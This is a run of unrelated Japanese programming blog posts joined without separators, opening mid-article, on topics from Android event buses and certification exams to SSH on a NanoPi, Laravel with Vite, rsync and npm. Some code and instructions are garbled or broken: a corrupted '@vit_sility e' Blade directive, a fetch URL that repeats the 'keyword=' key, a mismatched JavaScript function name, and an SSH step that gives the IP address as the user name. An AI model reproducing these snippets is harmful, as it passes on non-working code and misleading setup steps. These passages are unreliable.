アプリ内でイベント駆動のコミュニケーションが必要な場合。
異なるコンポーネント間でのローカルなイベント通知。

# BehaviorProcessor
BehaviorProcessorはRxJavaの一部であり、Reactive Programmingの一環として使用されます。

### 特徴:

リアクティブプログラミング：RxJavaと組み合わせて使用し、非同期操作をサポートします。
バッファリング：最新のイベントを保持し、新しいサブスクライバーにそれを送信します。
再生能力：過去のイベントを再生できます。
### 使用ケース:

高度な非同期処理が必要な場合。
リアクティブなコンポーネント間のデータ通信が必要な場合。

# 高速なイベント連続通知について

LiveDataとStateFlowは画面の更新率や人間の反応速度より速い変化は不必要と思われ、連続したイベントは無視され、最後のイベントのみ採用されます。

EventBusとBehaviorProcessorはすべてを発信する仕様です。


# 比較と選択
選択肢の中から適切なものを選ぶには、アプリケーションの要件やアーキテクチャに基づいて評価する必要があります。以下は一般的なガイドラインです。

LiveData：Android Architecture Componentsを採用している場合や、UIとのデータバインディングが主要な要件の場合に適しています。
StateFlow：非同期ストリーミングデータを扱う必要がある場合、特にKotlin Coroutinesを使用している場合に適しています。
EventBus：ローカルなイベント通知が必要な場合に使用しますが、アプリケーション全体でのイベントバスの使用には注意が必要です。
BehaviorProcessor：高度なリアクティブプログラミングが必要な場合や、RxJavaを使用している場合に適しています。
最終的な選択はプロジェクトの要件と開発チームの経験に基づいて行うべきです。選択したアプローチを適切に実装し、アプリケーション内で一貫性を保つことが重要です。
資格受験から何が得られるのか

## 資格取得ってなんでするの？

先日基本情報技術者試験を受験してきました、速報値ですが合格出来たようです。
また、数年前にも日商簿記2級を取得したりと、これまでに何度か資格取得を経験してきました。

さて、資格試験において周りから本当によく言われるのが

・「資格取って何がしたいの？」
・「資格取って何か意味あるの？」

です。

私の周囲の環境だけかもしれませんが、この質問すごい頻出です。

「折角勉強しようと意欲を出しているのに水を差すな！」

と一瞬感情的になりながらも、

「確かに自分でもなんでわざわざ勉強してるんだろう。」

と少し疑問になったので、頭を整理する意味も込めて、私の中での資格取得とは何なのか、今一度考えてみようと思いました。

以下は、一旦箇条書きにて書き出してみたものです。
その後にひとつずつ整理して要素を分解してみようと思います。
※支離滅裂な文章をご容赦下さい。

1. 自身の力を試す腕試しの場
2. 将来食いっぱぐれないための保険
3. リスキリング
4. 技術の裏側がどうなってるのか知ってみたい好奇心
5. 今日を一生懸命生きるための宿題

## 1.自身の力を試す腕試しの場

少しだけ自身の立場をお話させて下さい。

私は現在40人程度の建設業の会社で、社内一人情シスとして働いています。
新しく新設された部署ですので部署員は私一人。
加えて新卒からITにまつわる企業で勤めた経験が無いので知識量に対して不安が多分にある現状です。

そんな社内環境とキャリアなのでITリテラシーが高い人はもちろん誰もいません。
こんな状態で時間が過ぎるのは不味いと入社して数か月で悟りました。

そんな環境に身を置いている私は資格試験を通して
・今の自身のレベル感を知ることが出来ること
・一般的なリテラシーレベルとはどのようなものかを確認・獲得することが出来ること
・合否判定である程度身に付いたのかをチェックが出来る事

周囲に分かち合える人がいないため私はある種[資格試験上司]に査定や教育をしてもらっている、そんな感情なのかもしれません。

## 2.自身のキャリア形成の役に立つために。

多くの資格取得の動機がこれに当たるように思います。
(※基本情報技術者資格レベルでは転職に有利になりませんよ、だとかの指摘はここでは一旦控えてもらえると助かります。)

口述するリスキリングと意味合いが似ているものの、別にした理由としては、人よりもちょっと頑張るためってことなのです。

資格取得を転職活動の糧だけに費やすんじゃなくて、人間としてちょっとした試練を用意して経験することで、我慢するだとか人として何かの厚みが増す気がするのかなと、そんな話です。
ここかなり主観的で漠然としていてごめんなさい。。。

## 3.リスキリング

資格取得のためにそれなりに時間を費やすと思うのですが、どうせなら自分が興味があってかつ何かに生かせるようになれたらいいなと思うんです。

[自身のキャリアの棚卸し]という表現も良く使用されますが、自分に足りないところを埋める作業が出来て、得意な領域を少しでも広げられたらいいなって思います。

そして一人情シスをしていると大小様々な質問を頂きます。
そんな時に、出来ればお役に立ちたいなって思うと、やっぱり自分の知識が多ければ人の役に立てるタイミングが増えるのかなって思います。

そんな自身の知識のアップデートの機会のためなのではないでしょうか。

## 4.技術の裏側がどうなってるのか知ってみたい好奇心

僕は家電製品であるとかガジェットが好きで、なぜ好きなのかと考えるとどういう仕組み・構造になっているのかがすごい気になるわけで。

仕組みを理解して腹落ちするフェーズがすごい気持ちがいいです。

僕にとってはIT知識もきっと根本は同じで、どちらかと言えば前のめりに情報を取りに行く事が出来るジャンルなんですね。

その中で例えば[プログラミング]って言うすごい難しくて高尚そうな物が、[変数]とか[宣言]とか[インスタンス]とか一つずつ丁寧に知っていくとそんなに難しくなくて簡単だと気付いたり。

表現の仕方が日常ではあまり見ないから「ウワッ。。。」って思うだけで、ルールに沿って理解すれば中学校で習った英語だとかと、根本はあまり変わらないのだと気付きます。

そんな[ピンとこないもの]を[ピンとくる]ようにしたくて勉強しているのかもしれません。

## 5.今日を一生懸命生きるための宿題

今の会社で社内一人情シスに就くまでに、実は営業職を5年程していました。

その時に良く思っていたのは、「毎日最大瞬間風速」という言葉です。

営業の諸先輩にほだされて考えた言葉ですが、ふと思い返せばあながち悪い言葉では無いよなって最近になって思っています。何事にも限度はあるけれど、一生懸命やるのはいいことだよねって思います。

スキマ時間を使って、ふとした時にスマホを見る時間を減らして参考書に目を向ける習慣を付けれたら最高だなって思います。

適度に自分を許しながらそれでいて自分に宿題を課していきたいです。

# まとめ

今回は資格取得について雑記のような形ではありますがまとめてみました。
今後ものらりくらりと学びを深めていこうと思います。

この文章が資格取得に悩まれている方の何かの参考になれば幸いです。
以上、ご一読頂き誠にありがとうございました。
Next.Jsで学校コード検索APIを使ってみた[edu-data.jp]

# 初めに
next.jsで日本の大学を検索できるようにしたかった為、調べたところhttps://edu-data.jp が検索apiを公開していましたので実際に使ってみました。

# Tokenの取得
https://api.edu-data.jp/ にアクセスするとログイン or 利用者登録が出来ますのでメールアドレスの登録、認証、利用規約の同意を行ってください。

https://api.edu-data.jp/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/503280/d9b796b8-40d7-2bf2-13ca-247ba7e440ca.png)
次にhttps://api.edu-data.jp/token からトークンの発行ができます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/503280/9c4dd075-ba97-8683-5a58-4fb78a9cf949.png)

# 使い方

まずは、適当にgetリクエストの基礎構文を記述し、ヘッダーに`Authorization`と`Accept`を記述します。
この際に、Bearer形式でトークンを指定する必要があるのでAuthorizationにtokenだけではなく`Bearer `を付ける必要があります。

以下が例になります。
```TypeScript
await fetch(`https://api.edu-data.jp/api/v1/school`, {
    method: 'GET',
    headers: {
        Authorization: 'Bearer token',
        Accept: 'application/json',
    },
});
```
## パラメータの指定方法

ですが、このままだとフィルターを掛けれない為、全ての学校を取得してしまいます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/503280/5f899f29-1954-6733-fe43-f55e9d001271.png)
その為、必要な情報のみ収集出来るようにする為にapiが提供してくれているパラメータを指定します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/503280/e58e9798-fead-87d7-08e9-52f91e754d85.png)

パラメータを指定して取得する場合は以下のように`params`を別で設定してあげてurlの後ろにくっ付けてあげると出来ます。
※この際valueはinputで入力した文字列などを想定しています。
```TypeScript
const params = new URLSearchParams();
params.append('keyword', value);

await fetch(`https://api.edu-data.jp/api/v1/school?keyword=${params.toString()}`, {
    method: 'GET',
    headers: {
        Authorization: 'Bearer token',
        Accept: 'application/json',
    },
});
```

このようにすることで検索ワードにフィルターを掛けることが出来ました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/503280/1a52a968-1c36-299b-40c4-bcf664c4d17c.png)

また、条件を複数指定する場合は`school?keyword=${keywords}&school_status_code=2`のように&で付け足すことで可能です。

# 最後に

上記のコードを組み合わせてエラーハンドリングを行ったコードになります。
ご参考までに。。。！

```TypeScript
try {
    const params: URLSearchParams = new URLSearchParams();
    params.append('keyword', value);
    const response: Response = await fetch(`https://api.edu-data.jp/api/v1/school?keyword=${params.toString()}`, {
        method: 'GET',
        headers: {
            Authorization: 'Bearer token',
            Accept: 'application/json',
        },
    });
    if (response.status === 200) {
        const data = await response.json();
        console.log(data);
    } else {
        console.error('GETリクエストが失敗しました');
    }
} catch (error) {
    console.error('エラー:', error);
}
```
【備忘録】javascriptでdropdownlist内の一部選択肢の表示/非表示を切り替える方法

# やりたいこと
ASP.NETでWebアプリを開発しているときに、javascriptでdropdownlist内の選択肢を状況に応じて一部選択肢の表示/非表示の切り替えが出来る様にしたかった。

# 解決方法
表示/非表示にしたい選択肢のdisplayプロパティをいじることにより解決した。

●javascript
```javascript
//選択肢の「不明」の表示/非表示を切り替える。
function Changeoptions() {
 var ddl1 = document.getElementById("<%=ddl_1.ClientID %>")
 if(ddl1.options[3].style["display"]=="none"){
   ddl1.options[3].style["display"] = "block";
 }else{
   ddl1.options[3].style["display"] = "none";
 }
}
```

●aspx
```html
<asp:Button runat="server" Text="選択肢変更" OnClientClick="ChangeOptions(); return false;" />
<asp:DropDownList ID="ddl_1" runat="server">
	<asp:ListItem >選択してください</asp:ListItem>
	<asp:ListItem >はい</asp:ListItem>
	<asp:ListItem >いいえ</asp:ListItem>
	<asp:ListItem style="display: none;">不明</asp:ListItem>
</asp:DropDownList>
```
後は、Changeoptions()をボタンのOnClientClickとかに入れればOK。
# おわりに
ネットを調べてもこの方法が使われている所が見つからなかったので何か問題があるかもだけど、動いているのでヨシ！( ΦωΦ)σ
NanoPi R5C に SSH で接続してみた。

今回は、 FriendlyWrt をインストールした NanoPi R5C に SSH で接続してみました。

NanoPi のセットアップは下記の記事を参考にしてください。

https://qiita.com/IoriGunji/items/c94cf84cafffdcd947cc

# 環境

今回の環境は下記のとおりです。

## ホスト端末

- **OS**： Windows 11 Pro
- **CPU**： Intel Core i7-9750H
- **メモリ**： 64GB
- **GPU**： NVIDIA GeForce RTX 2070 Max-Q

## NanoPi

- **NanoPi**： NanoPi R5C（4GB RAM + 32GB eMMC）

# 秘密鍵の用意

SSH 接続に必要な秘密鍵を作成します。

## Git のインストール

事前に `Git` をインストールします。
こちらを参考にしてインストールしてくだい。

- [WindowsにGitをインストールする手順](https://www.curict.com/item/60/60bfe0e.html "WindowsにGitをインストールする手順")

## 秘密鍵の作成
PowerShell を立ち上げて、秘密鍵を作成します。

```powershell
ssh-keygen
```

秘密鍵の保存先を聞かれるので、必要に応じて保存先を入力し、 Enter キーを押下します。
※変更する必要がなければそのまま Enter キーを押して大丈夫です。

```powershell
Enter file in which to save the key:
```

秘密鍵のパスフレーズを聞かれるので、任意のパスフレーズを入力し、 Enter キーを押下します。

```powershell
Enter passphrase (empty for no passphrase):
```

確認のため、もう一度パスフレーズを入力し、 Enter キーを押下します。

```powershell
Enter same passphrase again:
```

# SSH の設定

SSH インスタンスの作成と SSH 公開鍵の登録を行います。

## SSH インスタンスの作成

`システム` → `管理` → `SSHアクセス` を開きます。
`インスタンスを追加` をクリックします。

![nanopi_ssh_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212972/d4cb3d4a-6ab2-c979-ea42-a13c57e37672.png)

下記の内容を設定し、 `保存&適用` をクリックします。

- **インターフェース**： lan
- **ポート**： 22
- **パスワード認証**： False
- **パスワードでの root ログインを許可**： False
- **ゲートウェイポート**： False

:::note warn
**ポート番号について**
SSH のデフォルトのポート番号は、通常 TCP の 22 番です。
ですが、デフォルトの 22 番ポートを使い続けるのはセキュリティ的に危険性が高いため、プライベートポートとして利用できる 49152 ～ 65535 番のポート番号を設定するようにしましょう。
:::

![nanopi_ssh_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212972/fcd5ddc6-19ea-6e03-3506-7a5041b32e56.png)

## SSH 公開鍵の登録

`システム` → `管理` → `SSH-キー` を開きます。
作成した公開鍵 `id_ras.pub` を `SSH鍵を貼り付けるかファイルをドラッグ…` にドロップします。

![nanopi_ssh_03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212972/3c3e3343-5b22-3d2d-031e-8254f522802d.png)

# NanoPi へ SSH 接続

SSH 接続の設定が完了したので、 NanoPi へ SSH で接続してみます。

## Tera Term の場合

Tera Term を起動し、下記の内容を入力し、 `OK` をクリックします。

- **ホスト**： NanoPi の IP アドレス
- **TCPポート**： NanoPi に設定したポート番号

![nanopi_ssh_04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212972/21739876-d6d0-f152-4263-bd587a9017be.png)

下記の内容を入力し、 `OK` をクリックします。

- **ユーザー名**： NanoPi の IP アドレス
- **パスフレーズ**： 秘密鍵を作成する際に入力したパスフレーズ
- **認証方式**： `RSA/DSA/ECDSA/ED25519鍵を使う` にチェック
- **秘密鍵**： 作成した秘密鍵 `id_rsa`

![nanopi_ssh_05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212972/4a41c8cf-2324-969c-edd7-8d584174d8d8.png)

下記のような画面が表示されれば、ログイン成功です。

![nanopi_ssh_06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212972/3e75209e-1757-ba32-19a5-cc5281436337.png)

<!-- EOF -->
コンテナのipアドレス

特定のコンテナ（`ubuntu-samba`）のIPアドレスを取得するには、次のコマンドを使用できます。

```bash
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ubuntu-samba
```

このコマンドは、`ubuntu-samba` コンテナのIPアドレスを表示します。 `ubuntu-samba` の名前を持つコンテナのIPアドレスが表示されます。必要に応じて、コンテナ名を変更してください。
OpsRamp ワークフローのCall Activityについて

本記事では、OpsRamp ワークフローのCall Activityについて説明します。

# 概要
OpsRamp ワークフローのCall Activityは、別のワークフローを呼び出すことが可能になります。
Call Activityを利用することにより、複数のワークフローで共通のプロセスがある場合に再利用が可能となります。
[Call Activity](https://docs.opsramp.com/solutions/remediation-automation/process-definitions/processdef-reference/#call-activity)

# 設定例
- 呼び出し先ワークフロー
呼び出し先ワークフローのStart Eventは、none-startイベントである必要があります。
![commonworkflow.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2344939/43a713bb-a132-1f60-cf03-7e4b1913f61d.png)

- 呼び出し元ワークフロー (Call Activity)
Call Activityタスクを選択します。Call Activityのプロパティの「Process」では、呼び出し可能なワークフロー(none-startイベントで始まるワークフロー)がリストアップされます。
また、「Input」には呼び出し先に渡す情報を指定することが可能です。渡された情報を呼び出し先ワークフローで使用することが可能です。
![callactivity_workflow.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2344939/d15c83d7-db75-144f-d567-04f8e84feca1.png)
![callactivity_callprocesses.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2344939/5da79827-80e6-75c5-5701-22dab13116e0.png)
![callactivity_properties.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2344939/b7e37573-6c61-e109-ec4f-99d2b2d85b29.png)


---------------------------------------
[<img width = 250 height = 200 src = "https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2344939/111de30a-4d33-aa33-5c7d-83d9015093e6.png">](https://www.vistanet.jp/knowledge-base/)
Jetpack ComposeでLottieのanimationを無限にする方法

### 今のやりかた
```Kotlin
LottieAnimation(
    composition,
    iterations = LottieConstants.IterateForever,
)
```

### 昔のやりかた
```Kotlin
val composition by rememberLottieComposition(LottieCompositionSpec.RawRes(R.raw.search_animation))
val progress by animateLottieCompositionAsState(composition = composition, iterations = LottieConstants.IterateForever)
LottieAnimation(
    composition = composition,
    progress = { progress },
)
```

### 参考
https://stackoverflow.com/a/73371580
filemakerでフィボナッチ数列を実装してみた

# filemakerでフィボナッチ数列を実装してみた

前回：https://qiita.com/sikakui-hospital/items/0e9a2d13eef79f5623a0

バージョンは17pro advancedなのでwhile関数はありません。
項数はフィールドで入力されたものを使うのがいいんでしょうけど、今回は直接$n にいれてしまっています。
第1項を1、第2項を1としているので、
１，１，２，３，５，８，１３，２１，３４，５５…となります。

1. カスタム関数を使った再帰関数
1. letによる再帰式

順番にコードを紹介します。

## 1\. カスタム関数を使った再帰関数
### カスタム関数の設定
関数名：fib
関数の引数：num 
fib(num) =
```
Case(
num = 1;
1;

num= 2;
1;

num>2;
fib(num-1) + fib(num-2)
)
```

### 計算式
```
fib(10)
```

### 結果
55

合致していますね。

## 2\. letによる再帰式

### 計算式
```
Let(
    [
        $n = 5;
        $f_1 = 1;
        $f_2 = 1;
        $saiki = "case(
            $n = 1;
            $f_1;

            $n = 2;
            $f_2;

            $n > 2;
            let(
                [
                    $f_n = $f_2 + $f_1;
                    $f_1 = $f_2;
                    $f_2 = $f_n;
                    $n= $n -1
                ];
                evaluate($saiki)
            )
        )"
    ];
    Evaluate($saiki)
)
```

### 結果
55

合致していますね。

以上です。本当は1.の仕様でカスタム関数を使わず実装をしたかったのですが、引数を用いない方法がわからず断念しました。わかる人がいましたら教えてください。
[23c] 23c正式リリース！作成してみると2023/9/20時点ではまだStandardEditionでは構成できないことが判明

## 2023/9/19に正式リリースされたOracle Database 23cを作ってみた

:::note alert
2023/9/20時点では、Cloud環境のみ
またStandardEditionでは作成できない
:::

まだCloud版のみということなので、Oracle Cloud環境で操作します
Network(VCN)構成など細かいことは省きますが、以下のような流れで作成します。

Databaseを作成するメニューを選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/926fbbd2-c3d0-51aa-8622-6499ba3b0ee0.png)

DBシステムの作成
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/db1069db-8f2b-050a-c632-db8aae057bb3.png)

Cloud利用料が少なくていいようにStandardEditionを選択しました
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/7518050a-4eb2-e727-0e17-28b6adba23ae.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/c941a7cb-05fb-5ac5-fbd0-fa3bb3d31e23.png)

データベースのバージョンは、次の画面で選びます
デフォルトは19cのようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/20256fa7-7cdd-d545-2a88-c49dc1ea0604.png)

バージョン「23c」を選ぶとエラーがでました。
23cはStandardEditionでは作成できないようです
（2023/9/20現在。おそらくそのうち作れるようになると思います）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/2165941d-212a-0ebe-580a-5efafd9acb7a.png)


1つ前の画面に戻って、EnterpriseEditionを選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/c0c18a57-65db-e8ae-8274-c1cf3e39b49a.png)

すると、エラーなく「23c」を選ぶことができました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/dafa1fb5-8732-fb85-8d7f-69cb1df704d4.png)

DBシステムの作成ボタンで作成を開始します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/97a2e05a-66a5-3b5b-0d71-35b350bdf9e6.png)

プロビジョニングが始まりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2551183/5a544b7e-7cd5-af43-189c-b59cda52d3ba.png)

このあと無事に作成が完了しました。

おそらく、時期が来たらStandardEditionでも作成できるようになると思いますが
2023/9/20時点では作成できないようです。
powerapps dataverseのテーブル結合時、指定された列がありません

# 現象
powerappsでdataverseのテーブルの結合を実装する時、
テーブルにカラムがあるのに、下記のエラーは発生しました。
「指定された「xxxx」列がありません」

# 原因
dataverseのテーブルの「xxxx」列がbig intでした。
big intのため、直接操作できなくて、APIで該当するカラムを操作する必要

# 参照サイト
https://learn.microsoft.com/zh-cn/power-platform-release-plan/2021wave2/data-platform/availability-bigint-as-api-only-data-type
Laravel + Vue + ViteのIPでアクセスできる開発環境を構築する

## はじめに
Laravel + Vue + Vite の開発環境構築をDockerを利用しないで行う。
最終的にはDockerで構成するが、流れを理解するために初期画面を表示させるところまでをオンプレサーバーのVMware上で行う。
IPでアクセスして表示できるところまでをゴールとする。

## 参考
[Laravel9のVite環境でVue.js 3を利用する方法](https://reffect.co.jp/laravel/laravel9_vite/)

## Github
https://github.com/ryosuke-horie/laravel_vite_vue3

## 実行した内容
1. laravelプロジェクト作成
    ```
    composer create-project laravel/laravel laravel_vite_vue3
    cd laravel_vite_vue3
    ```

2. ライブラリのインストール(Linuxの仮想OSで利用するためにOS上で行わないとエラーが発生する)
    ```
    npm install
    ```

3. Vite で Vue.js を利用するために@vitejs/plugin-vue のインストールと`vite.confirg.js`の追加設定
    ```
    npm i @vitejs/plugin-vue --save-dev
    ```

    ```
    import { defineConfig } from 'vite';
    import laravel from 'laravel-vite-plugin';
    import vue from '@vitejs/plugin-vue';
    
    export default defineConfig({
      plugins: [
        vue(),
        laravel({
          input: ['resources/css/app.css', 'resources/js/app.js'],
          refresh: true,
        }),
      ],
      server: {
    	  host:'xxx.xxx.xxx.xxx', // VMのIPを記載
    	  port:5173
      }
    });
    ```

4. サーバー立ち上げ(エラーが発生しなければOK)
    ```
    npm run dev
    ```

5. app.jsファイルの読みこみ
    ```php:welcome.blade.php
    <!DOCTYPE html>
    <html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
      <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
    
        <title>Laravel Vite React</title>
        @vit_sility e(['resources/css/app.css', 'resources/js/app.js'])
      </head>
      <body>
        <div id="app"></div>
      </body>
    </html>
    ```

6. Laravel開発サーバーを起動
    ```
    php artisan serve --host 0.0.0.0
    ```

7. ブラウザでアクセスして確認する（http://xxx.xxx.xxx.xxx:8000）
8. bootstrap.jsにVue.jsのコードを記載する
    ```js
    import _ from 'lodash';
    window._ = _;

    /**
     * We'll load the axios HTTP library which allows us to easily issue requests
     * to our Laravel back-end. This library automatically handles sending the
     * CSRF token as a header based on the value of the "XSRF" token cookie.
     */
    
    import axios from 'axios';
    window.axios = axios;
    
    window.axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
    
    import { createApp } from 'vue';
    
    // vueのインスタンスを作成
    const app = createApp();
    
    console.log(app.version);
    
    // appをマウント
    app.mount('#app');
    ```
    
9. App.vueファイルを作成してimportし表示
    ```vue
    <template>
      <h1>Hello World</h1>
    </template>
    ```

    ```js
    //略
    import { createApp } from 'vue';
    import App from './App.vue';
    
    const app = createApp(App);
    
    app.mount('#app');
    ```

![rapture_20230920153701.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781232/b179a155-14c0-d96d-7b7e-757c509e6d12.jpeg)
自動テストを整理する

## はじめに

本記事は、『[初めての自動テスト - Webシステムのための自動テスト基礎](https://www.oreilly.co.jp/books/9784873118161/)』で紹介されているテストを整理するアイディアをまとめたものです。

<img src="https://www.oreilly.co.jp/books/images/picture_large978-4-87311-816-1.jpeg" alt="初めての自動テスト - Webシステムのための自動テスト基礎" width="250">

## テストの整理により実現したいこと

- 新しいテストを簡単に追加できること。
- 既存のテストをシンプルで理解しやすい状態に保つこと。
- テストを見返すたびに、内容の把握に頭を悩ませずに済むようにすること。

## テストが整理された状態を保つ2つのテクニック

- テストを分離する
- コンテキストによってテストを分類する

## テストが整理された状態を保つテクニックその1 - テストを分離する

### テストを分離するとは

「テストを分離する」とは、**テストコードを書く際に1度にテストする内容を、1つ、もしくはひとまとまりの概念に限る**という意味である。言い換えると、**テストの対象を絞り、一度に多くの内容をテストしない**ということである。

### 1つのテストケースに対するアサーション数

1つのテストケースで1つのアサーションを行うテストは、読みやすく、理解しやすく、保守もたやすい。また、小さいサイズで対象を絞ったテストを多く作成することができる。
しかし、1つのテストケースにつき、1つのアサーションを行うというのは、目標としては妥当であるが、強い制約ではない。複数のアサーションを行う必要があれば、行っても構わない。
重要なことは、**1つのテストにつき、テストする内容が1つである**という考え。この考えに従えば、自ずと各テストケースに多くのアサーションは含まれなくなり、テストコードも読みやすくなる。

### テストデータをどこで定義するか

経験則として「**データは可能な限り、そのデータを使用するテストケースに近いところにまとめる。**」がある。
これに従えば、特定のテストケースでしか使用しないデータであれば、使用するテストケースのメソッド内で定義する。もし他のテストケースで使用するようになった場合は、その時点でテスト実行前に処理されるセットアップのような場所に定義を移動する。必要になるまでは、定義を移動させない。

## テストが整理された状態を保つテクニックその2 - コンテキストによってテストを分類する

- 似ているものはまとめる
  類似性に注目して、似ているものは、一箇所にまとめる。並び替える。
  テスト内容の把握の負荷が減る。分類の意図を明示的にするためにコメントを残す。
- コンテキストを明示的にする
  テスト名に共通する語句が含まれる場合は、クラス名等などの上位レベルの名前にその語句を含める。
  これによりテストのコンテキストが明示的になる。
  例えばクラス名前で明確にされていれば、それを見ただけで、このクラスのテストケースはすべて同様の観点のテストであること、そして同様の観点のテストを追加したい場合は、このクラスに追加すればよいことが理解できる。

## テストの整理による効果

テストを整理すると、テストが読みやすくなるだけでなく、次のような効果もある。

- 不具合の起きている箇所を特定しやすくなる。
- テストのパターンを見つけやすくなる。
- 漏れているテストケースを見つけやすくなる。

## テストを整理しはじめるにあたって

- 最初から、完璧にテストを整理しておく必要はない。はじめはシンプルにテストのまとまりごとにファイルを分けるだけで十分。複雑なことに挑戦する必要はない。
- 「選択肢」を意識する。テストスイートが大きくなるにつれて、それまで以上に整理する方法が見えてくるはず。数多くの実験をし、挑戦を重ねることで、経験を積むことが大切。

<!-- zenn article id: 1465d31fc802b1 -->
Rsyncコマンド例

rsyncを使用してデータを同期するコマンドの例を示します。この例では、データをローカルディレクトリからリモートサーバーにコピーするシナリオを想定しています。以下のコマンドは、rsyncの基本的な構文です。

```
rsync [オプション] [ソース] [宛先]
```

ここで、オプションは同期時の挙動を制御するためのもので、ソースはコピー元のディレクトリまたはファイル、宛先はコピー先のディレクトリまたはファイルを指定します。

以下は一般的なrsyncコマンドの例です。

1. ローカルディレクトリからリモートサーバーにデータをコピーする場合:

```bash
rsync -av /path/to/source/ user@remote_server:/path/to/destination/
```

- `-a` オプション: アーカイブモード。ファイル属性やタイムスタンプを保持してコピーします。
- `-v` オプション: 詳細な出力を表示します。不要であれば省略可能です。

2. リモートサーバーからローカルディレクトリにデータをコピーする場合:

```bash
rsync -av user@remote_server:/path/to/source/ /path/to/destination/
```

上記の例では、`user`はリモートサーバーにアクセスするためのユーザー名、`remote_server`はリモートサーバーのホスト名またはIPアドレス、`/path/to/source/`はコピー元のディレクトリまたはファイルのパス、`/path/to/destination/`はコピー先のディレクトリまたはファイルのパスです。

必要に応じて、さまざまなrsyncオプションを使用して挙動をカスタマイズできます。たとえば、`--delete`オプションを使用してコピー先に存在しないファイルを削除することもできます。詳細な情報は、`man rsync`コマンドでrsyncのマニュアルページを確認できます。
Reactの基本環境についてメモ

# はじめに
Reactの基本環境についてのメモ

# 参考
https://booth.pm/ja/items/1312652

# Node.jsとは
* JavaScript実行環境。JavaScriptをブラウザ上でけではなく、サーバーサイド言語のように使うことができる。
* フロントエンド開発で利用するバンドルやフォーマッターなどの各ツールはNode.js上で動くため、Node.jsが必要

# npmとは
* Node.jsのパッケージ管理ツール
* 各ライブラリ(パッケージ)の依存関係を自動解決してくれる

## npmのパッケージの依存関係自動解決 (ChatGptに聞いてみた)


`A`というパッケージをインストールしたいとします。`A`は、`B`と`C`という2つのパッケージに依存しており、さらに`B`は`D`というパッケージに依存しているとします。この場合、依存関係のツリーは以下のようになります：

```
A
|-- B
|   |-- D
|
|-- C
```

1. **パッケージのインストール**:
   - `npm install A`を実行すると、npmはまず`A`をダウンロードします。
   - 次に、`A`の`package.json`を参照して`B`と`C`が依存関係としてリストされているのを確認します。
   
2. **再帰的な依存関係の探索**:
   - npmは次に`B`と`C`をダウンロードします。
   - `B`の`package.json`を調べると、さらに`D`に依存していることがわかります。
   - そのため、npmは再帰的に`D`もダウンロードします。

3. **バージョンの解決**:
   - もし、`A`が`B`のバージョン1.0.0に依存しているのに対し、別のパッケージ`E`が`B`のバージョン1.1.0に依存している場合、npmはそれぞれの要求を満たすように両方のバージョンを`node_modules`内に配置することができます。
   
4. **node_modulesの構造**:
   - 上記の依存関係を考慮すると、`node_modules`のディレクトリ構造は以下のようになるでしょう：

```
/node_modules
|-- A/
|-- B/
|   |-- node_modules/
|       |-- D/
|
|-- C/
```

このように、npmはパッケージの依存関係を自動的に解決し、適切なディレクトリ構造を`node_modules`内に構築します。これにより、開発者は複雑な依存関係やバージョンの問題を気にすることなく、必要なライブラリを簡単にプロジェクトに組み込むことができます。

## 同じパッケージの違うバージョンに依存する場合の配置

`A`が`B`のバージョン1.0.0に依存し、`E`が`B`のバージョン1.1.0に依存する場合の`node_modules`ディレクトリの配置について説明します。

1. `npm install A E`を実行した場合、npmはまず`A`と`E`の`package.json`を確認します。

2. `A`と`E`が異なるバージョンの`B`に依存しているとわかると、npmはそれぞれの要求を満たすように、最も多くのパッケージが共有できるような配置を試みます。

3. この場合、一般的な配置は次のようになります：

```
/node_modules
|-- A/
|   |-- node_modules/
|       |-- B (version 1.0.0)/
|
|-- E/
|   |-- node_modules/
|       |-- B (version 1.1.0)/
|
|-- B (if one version of B is more commonly required by other packages, it might be placed here)
```

これにより、`A`と`E`はそれぞれの要求に合わせた`B`のバージョンにアクセスできます。

この配置方法は、特定のバージョンのライブラリに依存する可能性がある複数のパッケージが存在する場合に特に有効です。そのため、npmは依存関係のツリー全体を通じて一貫性を保ちつつ、各パッケージが正確なバージョンの依存ライブラリにアクセスできるようにします。

ただし、npmのバージョンや特定の状況によっては、上記の配置が変わることもあります。


# asdf
* 複数のプログラミング言語やツールのバージョンを管理するためのCLIツールです。rbenv（Rubyのバージョン管理）、pyenv（Pythonのバージョン管理）、nodenv（Node.jsのバージョン管理）などの専用のバージョン管理ツールが存在する中、asdfはこれらを統一的なインターフェースで提供することを目的としています。

